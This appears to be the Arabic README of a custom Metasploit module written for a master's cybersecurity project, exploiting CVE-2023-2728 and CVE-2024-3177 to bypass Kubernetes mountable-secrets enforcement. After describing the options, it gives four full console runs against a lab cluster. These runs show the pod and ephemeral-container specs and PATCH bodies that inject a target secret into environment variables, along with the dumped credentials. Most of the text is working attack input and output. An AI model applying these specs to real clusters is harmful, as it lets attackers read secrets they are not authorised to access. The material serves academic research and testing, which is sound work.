وحدة مكتوبة بلغة Ruby بهدف استغلال الثغرات CVE-2023-2728 وCVE-2024-3177، وكلاهما مرتبط بسياسة تحميل الأسرار (secret mount policy) في مجموعة Kubernetes باستخدام وحدة Metasploit مخصصة. جزء من مشروع تخرج لدرجة الماجستير في الأمن السيبراني.
تستغل هذه الوحدة المخصصة الثغرات CVE 2023-2728 و CVE 2024-3177 في إصدارات Kubernetes المعرضة لكل منهما (مثل الإصدار v1.27.2 المعرض لكليهما)، وكلاهما يتعلق بتجاوز فرض سياسة الأسرار القابلة للتركيب (mountable secrets) التي يفرضها ملحق قبول ServiceAccount في Kubernetes،
باستخدام أنواع مختلفة من الحاويات والاستراتيجيات.
الهدف الرئيسي هو الحصول على الأسرار المطلوبة وعرضها في متغيرات البيئة بطريقة جذابة للمستخدم.
use auxiliary/cloud/kubernetes/double_secrets_cverun.يحدد نوع الحاوية المستخدمة في Pod الذي يتم إنشاؤه في الكتلة المستهدفة لاستغلال الثغرة. يمكن أن يكون normal (أي ما يعادل الحاويات العادية)، أو init، أو ephemeral.
يسمح لك بتحديد الثغرة التي تريد استغلالها. الخيارات المتاحة هي 2024-3177 و 2023-2728. إذا تم تحديد أي ثغرة أخرى، فلن تتعرف عليها الوحدة وستعطي خطأ، وهي نتيجة طبيعية.
يحدد صورة الحاوية المستخدمة لإنشاء Pod، مثل busybox، وهو الخيار الافتراضي، لأنها صورة مفيدة جداً لخفتها وتعدد استخداماتها، حيث تجمع العديد من أدوات Linux المساعدة في ملف واحد صغير وتجمع الأدوات الأكثر شيوعاً في Unix مثل ls, cp, mv, cat, أو sh، مما يجعلها مناسبة جداً للأنظمة ذات الموارد المحدودة أو للاختبارات السريعة، كما قد يكون الحال هنا، حيث لا نحتاج إلى صورة محددة، فقط أن يتم إنشاء Pod بشكل صحيح.
يشير إلى namespace في Kubernetes حيث سيتم إنشاء Pod، ويجب أن يكون نفس namespace الذي يوجد فيه السر المراد الكشف عنه.
يحدد الاسم الذي سيُعطى لـ Pod المراد إنشاؤه.
سلسلة من البروكسيات (proxies) المراد استخدامها، بالتنسيق type:host:port[,type:host:port][...]. هذا خيار قياسي في Metasploit، ولا يُستخدم في هذه الوحدة.
يحدد عنوان IP أو نطاق عناوين IP للهدف، وفي هذه الحالة كتلة Kubernetes حيث تريد استغلال الثغرة. هذا الخيار هو أحد الخيارات الافتراضية في Metasploit.
يحدد منفذ TCP للهدف الذي ستتصل به الوحدة. هذا خيار قياسي في Metasploit.
يحدد اسم السر في Kubernetes الذي تريد الكشف عنه، ويجب أن يكون لديك الأذونات اللازمة لذلك.
يسمح لك بتحديد ما إذا كنت تريد إعادة استخدام جلسة موجودة. في هذه الوحدة، هذا الخيار غير مهم وهو اختياري. إنه خيار افتراضي.
يحدد ما إذا كان يجب التفاوض على اتصال SSL/TLS للاتصالات الصادرة. هذا خيار قياسي في Metasploit وليس من الضروري تمكينه، يعتمد على كيفية اتصال المستخدم المعني بكتلته الهدف.
يحدد المسار الأساسي لواجهة برمجة تطبيقات Kubernetes المستهدفة، على سبيل المثال /api/v1. هذا الخيار مخصص ويستخدم لتسهيل جدولة بعض الاتصالات في الوحدة.
يحدد رمز المصادقة الذي سيُستخدم للتفاعل مع واجهة برمجة تطبيقات Kubernetes، من المهم أن يكون لهذا الرمز الأذونات اللازمة، وإلا ستفشل الوحدة بسبب نقص الأذونات إما لإنشاء أو تعداد موارد معينة داخل الكتلة.
يسمح بتحديد مضيف افتراضي HTTP. هذا خيار قياسي في Metasploit لا يُستخدم في الوحدة.
ملاحظة: في markdown تم تحديد الأسرار بعلامات ** SECRET ** في البداية والنهاية، وهذا ليس هو الحال في الكود، حيث تم إبرازها باللون الأحمر لتحسين الرؤية للمستخدم، وهو أمر لا يمكن القيام به في ملف README بسبب قيود لغة Markdown في منصة GitHub.
تعيين RHOST و TOKEN صراحةً لتعداد الأسرار المحددة في خيار SECRET_NAME:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed
تعيين RHOST و TOKEN صراحةً لتعداد الأسرار المحددة في خيار SECRET_NAME:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE init
CONTAINER_TYPE => init
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-2
POD_NAME => cve-pod-2
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-2","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"init-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never","initContainers":[{"name":"exploit-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}]}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-2
[*] Waiting for the init container to start...
[*] Checking pod and container status...
[+] Init container is running.
[*] Retrieving environment variables from init container using Kubernetes API...
[*] WebSocket connection opened
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-2
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed
تعيين RHOST و TOKEN صراحةً لتعداد الأسرار المحددة في خيار SECRET_NAME:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral
CONTAINER_TYPE => ephemeral
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-3
POD_NAME => cve-pod-3
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-3","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"ephemeral-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-3
[*] Waiting for pod cve-pod-3 to be ready...
[*] Pod cve-pod-3 status: Pending
[+] Pod cve-pod-3 is running.
[*] Adding ephemeral container with the following spec: {"name":"ephemeral-container","image":"busybox","envFrom":[{"secretRef":{"name":"dvwa-secrets"}}],"command":["/bin/sh"],"args":["-c","sleep 3600"]}
[*] Ephemeral container addition response code: 200
[*] Ephemeral container addition response message: OK
[+] Successfully added ephemeral container to pod cve-pod-3
[*] Waiting for ephemeral container to be ready...
[*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}}
[*] Reason: ContainerCreating
[+] Ephemeral container is running.
[*] Waiting for ephemeral container to be ready...
[+] Ephemeral container is running.
[*] Retrieving environment variables from ephemeral container using Kubernetes API...
[*] WebSocket connection opened
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-3
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed
تعيين CVE و RHOST و TOKEN صراحةً لتعداد الأسرار المحددة في خيار SECRET_NAME:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CVE 2023-2728
CVE => 2023-2728
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral
CONTAINER_TYPE => ephemeral
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-4
POD_NAME => cve-pod-4
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with standard configuration in namespace: dvwa-tfm-mysql with service account: sa-web
[*] Pod not found. Proceeding with pod creation.
[+] Successfully created pod cve-pod-4 in namespace dvwa-tfm-mysql
[*] Waiting for pod cve-pod-4 to be ready...
[*] Pod cve-pod-4 status: Pending
[+] Pod cve-pod-4 is running.
[*] Attempting to add ephemeral container to access secrets...
[*] Performing PATCH request with the following data: {"spec":{"ephemeralContainers":[{"name":"ephemeral-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"env":[{"name":"DVWA_DATABASE","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_DATABASE"}}},{"name":"DVWA_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_PASSWORD"}}},{"name":"DVWA_USERNAME","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_USERNAME"}}},{"name":"ROOT_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"ROOT_PASSWORD"}}}]}]}}
[+] Response received
[+] Ephemeral container successfully added to pod cve-pod-4
[*] Waiting for ephemeral container to be ready...
[*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}}
[*] Reason: ContainerCreating
[+] Ephemeral container is running.
[*] Attempting to access environment variables from the ephemeral container...
[*] WebSocket connection opened
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-4
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed